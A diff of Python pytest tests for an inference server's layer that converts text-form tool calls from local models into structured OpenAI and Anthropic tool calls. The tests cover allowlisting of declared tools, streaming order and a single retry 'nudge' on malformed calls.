+    def test_returns_declared_names(self):
+        assert heal_gate(None, TOOLS) == {"Bash", "Read"}
+        assert heal_gate(True, TOOLS) == {"Bash", "Read"}
+
+    def test_opt_out_and_no_tools(self):
+        assert heal_gate(False, TOOLS) is None
+        assert heal_gate(None, []) is None
+        assert heal_gate(None, None) is None
+
+    def test_malformed_tool_entries_ignored(self):
+        assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None
+
+    def test_tool_choice_none_disables(self):
+        assert heal_gate(None, TOOLS, "none") is None
+
+    def test_tool_choice_forced_function_narrows_allowlist(self):
+        forced = {"type": "function", "function": {"name": "Bash"}}
+        assert heal_gate(None, TOOLS, forced) == {"Bash"}
+
+    def test_tool_choice_forced_undeclared_function_disables(self):
+        forced = {"type": "function", "function": {"name": "Nuke"}}
+        assert heal_gate(None, TOOLS, forced) is None
+
+    def test_tool_choice_auto_and_required_keep_full_set(self):
+        assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"}
+        assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"}
+
+    def test_tool_choice_unrecognized_dict_keeps_full_set(self):
+        assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"}
+
+
+class TestHealOpenaiMessage:
+    def test_promotes_xml_and_strips_content(self):
+        msg = {"role": "assistant", "content": XML_BASH}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] is None
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_keeps_surrounding_prose(self):
+        msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] == "Let me check."
+
+    def test_undeclared_name_not_promoted(self):
+        msg = {"role": "assistant", "content": XML_UNDECLARED}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_UNDECLARED
+        assert "tool_calls" not in msg
+
+    def test_structured_calls_untouched(self):
+        msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_BASH
+
+    def test_prose_only_untouched(self):
+        msg = {"role": "assistant", "content": "just an answer"}
+        assert heal_openai_message(msg, {"Bash"}) is False
+
+    def test_bare_string_arguments_use_schema_key(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True
+        args = json.loads(msg["tool_calls"][0]["function"]["arguments"])
+        assert args == {"command": "echo hi"}
+
+    def test_bare_string_arguments_decline_ambiguous_schema(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, TOOLS) is False
+        assert "tool_calls" not in msg
+
+    def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self):
+        # Span-exact removal: only the promoted Bash markup is dropped; the
+        # undeclared Nuke call's text stays in the content byte-intact.
+        content = f"pre {XML_BASH} mid {XML_UNDECLARED} post"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in msg["content"]
+        assert "pre" in msg["content"] and "post" in msg["content"]
+        assert XML_BASH not in msg["content"]
+
+    def test_multiple_declared_calls_all_promoted(self):
+        content = f"{XML_BASH} and {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert len(msg["tool_calls"]) == 2
+
+    def test_mixed_formats_promote_in_document_order(self):
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        content = f"{func_read} then {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash", "Read"}) is True
+        assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"]
+        assert msg["content"] == "then"
+
+    def test_unparseable_closed_block_not_deleted(self):
+        # A closed <tool_call> block whose body never parses is model output,
+        # not a promotable call; it must survive promotion of its neighbor.
+        garbage = "<tool_call>not json at all</tool_call>"
+        content = f"{XML_BASH} {garbage}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert garbage in msg["content"]
+
+
+class TestStreamHealer:
+    def test_plain_text_passes_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("hello ") + healer.feed("world") + healer.finalize()
+        assert _events_text(events) == "hello world"
+        assert not _events_calls(events)
+
+    def test_complete_call_in_one_chunk(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"On it. {XML_BASH}") + healer.finalize()
+        assert _events_text(events) == "On it. "
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert healer.healed
+
+    def test_signal_split_across_chunks(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = []
+        for piece in ["<tool", '_call>{"name":"Bash",', '"arguments":{}}</tool_call>']:
+            events += healer.feed(piece)
+        events += healer.finalize()
+        assert _events_text(events) == ""
+        assert len(_events_calls(events)) == 1
+
+    def test_closed_malformed_tool_block_flushes_immediately(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call>not json</tool_call> after")
+        assert _events_text(events) == "<tool_call>not json</tool_call> after"
+        assert not _events_calls(events)
+
+    def test_mixed_formats_stream_in_document_order(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize()
+        assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"]
+        assert _events_text(events).strip() == "then"
+
+    def test_false_alarm_html_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("use the <div> tag") + healer.finalize()
+        assert _events_text(events) == "use the <div> tag"
+        assert not _events_calls(events)
+
+    def test_partial_signal_tail_held_then_flushed_at_end(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("trailing <tool")
+        assert _events_text(events) == "trailing "  # tail held back
+        events += healer.finalize()
+        assert _events_text(events) == "trailing <tool"
+
+    def test_mixed_calls_promote_declared_flush_undeclared_in_order(self):
+        # Declared + undeclared in the same buffer: the declared call is
+        # promoted, the undeclared markup flushes as text, and event order
+        # follows document order (call first here, since it came first).
+        healer = StreamToolCallHealer({"Bash"})
+        text = f"{XML_BASH} then {XML_UNDECLARED} post"
+        events = healer.feed(text) + healer.finalize()
+        assert [k for k, _ in events if k == "tool_call"] == ["tool_call"]
+        assert events[0][0] == "tool_call"
+        joined = _events_text(events)
+        assert XML_UNDECLARED in joined
+        assert "then" in joined and "post" in joined
+
+    def test_text_between_two_healed_calls_keeps_document_order(self):
+        # call A, " middle ", call B in ONE buffer must stream as
+        # call A -> text -> call B, never both calls then the text.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds == ["tool_call", "text", "tool_call"]
+        assert events[1][1] == " middle "
+
+    def test_undeclared_then_declared_keeps_document_order(self):
+        # The undeclared block precedes the declared call; its raw text must
+        # be emitted BEFORE the promoted call event, never after.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds.index("tool_call") == len(kinds) - 1
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in _events_text(events)
+
+    def test_declared_promoted_then_late_undeclared_flushes_raw(self):
+        # Streaming causality: the declared call completed and was already
+        # emitted before the undeclared one arrived. The undeclared markup
+        # must still reach the client as raw text (no data loss).
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} then ")
+        assert len(_events_calls(events)) == 1
+        events += healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert XML_UNDECLARED in _events_text(events)
+        assert len(_events_calls(events)) == 1
+
+    def test_undeclared_tool_flushes_raw(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert _events_text(events) == XML_UNDECLARED
+        assert not _events_calls(events)
+
+    def test_two_calls_and_text_between(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        xml_read = '<tool_call>{"name":"Read","arguments":{"path":"f"}}</tool_call>'
+        events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["Bash", "Read"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events).strip() == "then"
+
+    def test_mistral_array_multiple_calls_all_promoted_in_stream(self):
+        # A canonical Mistral [TOOL_CALLS] array carries several calls under a
+        # SINGLE signal. Draining only the first call would leave the residue
+        # starting at ",{...}]" (no signal), so later calls in the same array
+        # must be promoted in the same pass, not flushed as raw text.
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_multiple_calls_promoted_char_by_char(self):
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = []
+        for ch in array:
+            events += healer.feed(ch)
+        events += healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_undeclared_middle_kept_as_text_others_promoted(self):
+        # A mid-array element for a tool that is not declared must survive as
+        # text while the declared neighbours on either side still promote in
+        # document order.
+        healer = StreamToolCallHealer({"a", "c"})
+        array = (
+            '[TOOL_CALLS][{"name":"a","arguments":{}},'
+            '{"name":"b","arguments":{}},{"name":"c","arguments":{}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "c"]
+        assert '"b"' in _events_text(events)
+
+    def test_mistral_array_then_trailing_prose(self):
+        healer = StreamToolCallHealer({"a", "b"})
+        array = '[TOOL_CALLS][{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        events = healer.feed(f"{array} all done") + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "b"]
+        assert "all done" in _events_text(events)
+
+    def test_incomplete_call_healed_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed('<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}')
+        assert events == []  # held
+        events = healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+
+    def test_teaching_text_flushes_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call> is the marker syntax") + healer.finalize()
+        assert _events_text(events) == "<tool_call> is the marker syntax"
+        assert not _events_calls(events)
+
+    def test_hold_bound_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        blob = "<tool_call>" + "x" * (64 * 1024 + 10)
+        events = healer.feed(blob) + healer.finalize()
+        assert _events_text(events) == blob
+        assert not _events_calls(events)
+
+    def test_dormant_after_structured_delta(self):
+        healer = StreamToolCallHealer({"Bash"})
+        held = healer.feed("prefix <tool")
+        flush = healer.structured_tool_call_seen()
+        after = healer.feed(XML_BASH) + healer.finalize()
+        assert _events_text(held + flush + after) == f"prefix <tool{XML_BASH}"
+        assert not _events_calls(after)
+
+
+class TestNudgeHelpers:
+    def _resp(
+        self,
+        content,
+        tool_calls = None,
+    ):
+        msg = {"role": "assistant", "content": content}
+        if tool_calls:
+            msg["tool_calls"] = tool_calls
+        return {"choices": [{"message": msg, "finish_reason": "stop"}]}
+
+    def test_retry_on_unparseable_signal(self):
+        # Signal present but the JSON never parses and no declared name matches.
+        data = self._resp("<tool_call>call Bash somehow???")
+        assert nudge_should_retry(data, {"Read"}) is True
+
+    def test_no_retry_on_clean_prose(self):
+        assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False
+
+    def test_no_retry_when_heal_would_succeed(self):
+        assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False
+
+    def test_no_retry_with_structured_calls(self):
+        data = self._resp("", tool_calls = [{"id": "x"}])
+        assert nudge_should_retry(data, {"Bash"}) is False
+
+    def test_no_retry_when_healing_disabled(self):
+        assert nudge_should_retry(self._resp("<tool_call>???"), None) is False
+
+    def test_nudge_messages_shape(self):
+        data = self._resp("<tool_call>garbage")
+        suffix = nudge_messages(data, {"Bash", "Read"})
+        assert [m["role"] for m in suffix] == ["assistant", "user"]
+        assert suffix[0]["content"] == "<tool_call>garbage"
+        assert "`Bash` or `Read`" in suffix[1]["content"]
+
+    def test_retry_with_undeclared_structured_call_is_not_an_improvement(self):
+        # The retry replaces the original only when it carries a USABLE call:
+        # a structured call naming an undeclared tool must not count.
+        undeclared = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}
+        ]
+        declared = [
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}
+        ]
+        assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False
+        assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True
+
+    def test_retry_with_mixed_structured_calls_is_not_an_improvement(self):
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST), so a mixed retry
+        # could still hand the client an undeclared tool.
+        mixed = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}},
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}},
+        ]
+        assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False
+        assert (
+            response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False
+        )
+
+    @pytest.mark.parametrize(
+        "data",
+        [
+            None,
+            "not a dict",
+            {},
+            {"choices": []},
+            {"choices": [{}]},
+            {"choices": [{"message": None}]},  # llama-server error bodies do this
+            {"choices": [{"message": "not a dict"}]},
+            {"choices": [{"message": {"content": None}}]},
+            {"error": {"message": "boom"}},
+        ],
+    )
+    def test_malformed_response_shapes_never_raise(self, data):
+        # A malformed upstream body must degrade to "nothing to heal/nudge",
+        # never crash the request with an AttributeError.
+        assert nudge_should_retry(data, {"Bash"}) is False
+        assert response_has_promotable_calls(data, {"Bash"}) is False
+        suffix = nudge_messages(data, {"Bash"})
+        assert suffix[0] == {"role": "assistant", "content": ""}
+
+
+# ── Route-level wiring (OpenAI passthrough) ─────────────────────────────
+# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py.
+
+import asyncio  # noqa: E402
+import threading  # noqa: E402
+from types import SimpleNamespace  # noqa: E402
+
+import httpx  # noqa: E402
+
+from core.inference.api_monitor import ApiMonitor  # noqa: E402
+from models.inference import ChatCompletionRequest, ChatMessage  # noqa: E402
+from routes.inference import (  # noqa: E402
+    _openai_passthrough_non_streaming,
+    _openai_passthrough_stream,
+)
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}},
+}
+LOOKUP_XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+
+
+def _payload(**kwargs):
+    defaults = dict(
+        model = "default",
+        messages = [ChatMessage(role = "user", content = "hi")],
+        tools = [LOOKUP_TOOL],
+    )
+    defaults.update(kwargs)
+    return ChatCompletionRequest(**defaults)
+
+
+def _llama_backend():
+    return SimpleNamespace(
+        base_url = "http://llama.test",
+        context_length = 4096,
+        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+    )
+
+
+def _upstream_message(
+    content,
+    tool_calls = None,
+    finish_reason = "stop",
+):
+    message = {"role": "assistant", "content": content}
+    if tool_calls is not None:
+        message["tool_calls"] = tool_calls
+    return {
+        "id": "chatcmpl-up",
+        "object": "chat.completion",
+        "created": 1,
+        "model": "gguf",
+        "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}],
+        "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3},
+    }
+
+
+class ScriptedClient:
+    """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs."""
+
+    def __init__(self, bodies):
+        self.bodies = list(bodies)
+        self.posts = []
+
+    async def post(
+        self,
+        _url,
+        json = None,
+        timeout = None,
+    ):
+        self.posts.append(json)
+        return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)])
+
+
+async def _drive_non_streaming(monkeypatch, payload, bodies):
+    import routes.inference as inf_mod
+
+    client = ScriptedClient(bodies)
+    monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+    response = await _openai_passthrough_non_streaming(
+        _llama_backend(), payload, "gguf", monitor_id = None
+    )
+    return client, json.loads(response.body)
+
+
+async def _drive_stream(monkeypatch, payload, lines):
+    import routes.inference as inf_mod
+
+    class Request:
+        async def is_disconnected(self):
+            return False
+
+    async def fake_send(*_args, **_kwargs):
+        return httpx.Response(200, content = b"")
+
+    async def fake_items(*_args, **_kwargs):
+        for line in lines:
+            yield line
+
+    monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+    monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+    monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3))
+    response = await _openai_passthrough_stream(
+        Request(),
+        threading.Event(),
+        _llama_backend(),
+        payload,
+        "gguf",
+        "chatcmpl-test",
+        monitor_id = None,
+    )
+    return [chunk async for chunk in response.body_iterator]
+
+
+def _stream_payloads(chunks):
+    out = []
+    for chunk in chunks:
+        for line in chunk.splitlines():
+            if line.startswith("data: ") and line[6:] != "[DONE]":
+                out.append(json.loads(line[6:]))
+    return out
+
+
+class TestOpenaiNonStreamingRoute:
+    def test_heals_xml_to_tool_calls(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)]
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "tool_calls"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            assert choice["message"]["content"] is None
+            assert data["usage"]["total_tokens"] == 3  # usage preserved
+            assert len(client.posts) == 1  # healing never re-requests
+
+        asyncio.run(_run())
+
+    def test_bare_string_uses_client_schema_key(self, monkeypatch):
+        async def _run():
+            content = '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>'
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tools = [BASH_COMMAND_TOOL]),
+                [_upstream_message(content)],
+            )
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"}
+
+        asyncio.run(_run())
+
+    def test_opt_out_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            choice = data["choices"][0]
+            assert choice["message"]["content"] == LOOKUP_XML
+            assert "tool_calls" not in choice["message"]
+            assert choice["finish_reason"] == "stop"
+
+        asyncio.run(_run())
+
+    def test_no_tools_untouched(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)]
+            )
+            assert data["choices"][0]["message"]["content"] == LOOKUP_XML
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)])
+            assert data["choices"][0]["message"]["content"] == xml
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_structured_calls_untouched(self, monkeypatch):
+        async def _run():
+            native = [
+                {
+                    "id": "call_up",
+                    "type": "function",
+                    "function": {"name": "lookup", "arguments": "{}"},
+                }
+            ]
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")],
+            )
+            assert data["choices"][0]["message"]["tool_calls"] == native
+
+        asyncio.run(_run())
+
+    def test_length_finish_reason_preserved(self, monkeypatch):
+        async def _run():
+            # Truncated generation: the healed call stays attached but the
+            # client must still see the truncation, so length is never
+            # upgraded to tool_calls.
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message(LOOKUP_XML, finish_reason = "length")],
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "length"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = "none"),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = {"type": "function", "function": {"name": "other"}}),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch):
+        async def _run():
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            mixed = f"{LOOKUP_XML} also {rogue}"
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(mixed)]
+            )
+            choice = data["choices"][0]
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert rogue in choice["message"]["content"]
+            assert choice["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch):
+        async def _run():
+            # A healed text-form call goes out first (index 0); a native
+            # structured delta follows. Clients merge deltas by index, so the
+            # native call must be shifted off index 0 or the two would merge.
+            native_line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_native","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                native_line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            indexes = {}
+            for payload_data in _stream_payloads(chunks):
+                for ch in payload_data.get("choices", []):
+                    for tc in (ch.get("delta") or {}).get("tool_calls") or []:
+                        indexes.setdefault(tc["index"], tc.get("id"))
+            assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native"
+            assert indexes.get(1) == "call_native"
+
+        asyncio.run(_run())
+
+    def test_role_delta_precedes_healed_stream_content(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            first_delta = payloads[0]["choices"][0]["delta"]
+            assert first_delta == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+
+        asyncio.run(_run())
+
+    def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool(
+        self, monkeypatch
+    ):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + '},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            assert payloads[0]["choices"][0]["finish_reason"] is None
+            assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+            assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+
+GARBAGE_SIGNAL = "<tool_call>call lookup somehow???"
+
+
+class TestNudgeRetryOpenai:
+    def test_retry_recovers_call(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 2  # exactly one retry
+            # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard).
+            original, retry = client.posts
+            assert retry["messages"][: len(original["messages"])] == original["messages"]
+            suffix = retry["messages"][len(original["messages"]) :]
+            assert [m["role"] for m in suffix] == ["assistant", "user"]
+            assert suffix[0]["content"] == GARBAGE_SIGNAL
+            # The healed retry response is returned.
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert data["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_retry_still_garbage_returns_original(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")],
+            )
+            assert len(client.posts) == 2
+            assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_default_off_single_post(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)]
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_on_clean_prose(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message("all done")],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_when_heal_succeeds(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 1
+            assert data["choices"][0]["message"]["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_heal_opt_out_disables_nudge_too(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False, nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL)],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestNudgeRetryAnthropic:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        nudge = None,
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            nudge_tool_calls = nudge,
+        )
+        return client, json.loads(response.body)
+
+    def test_retry_recovers_tool_use(self, monkeypatch):
+        async def _run():
+            client, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+                nudge = True,
+            )
+            assert len(client.posts) == 2
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_healed_tool_use_precedes_trailing_text(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")])
+            assert [block["type"] for block in data["content"]] == ["tool_use", "text"]
+            assert data["content"][1]["text"] == "done"
+
+        asyncio.run(_run())
+
+    def test_default_off(self, monkeypatch):
+        async def _run():
+            client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)])
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestAnthropicPassthroughHealingText:
+    """Non-streaming Anthropic passthrough must relay unpromoted (undeclared)
+    text-form calls as text, matching the OpenAI passthrough contract. Once
+    heal_openai_message promotes the declared call it span-trims only that
+    markup and deliberately leaves the undeclared bytes in the content; the
+    legacy blanket _TOOL_XML_RE strip must not delete them.
+    """
+
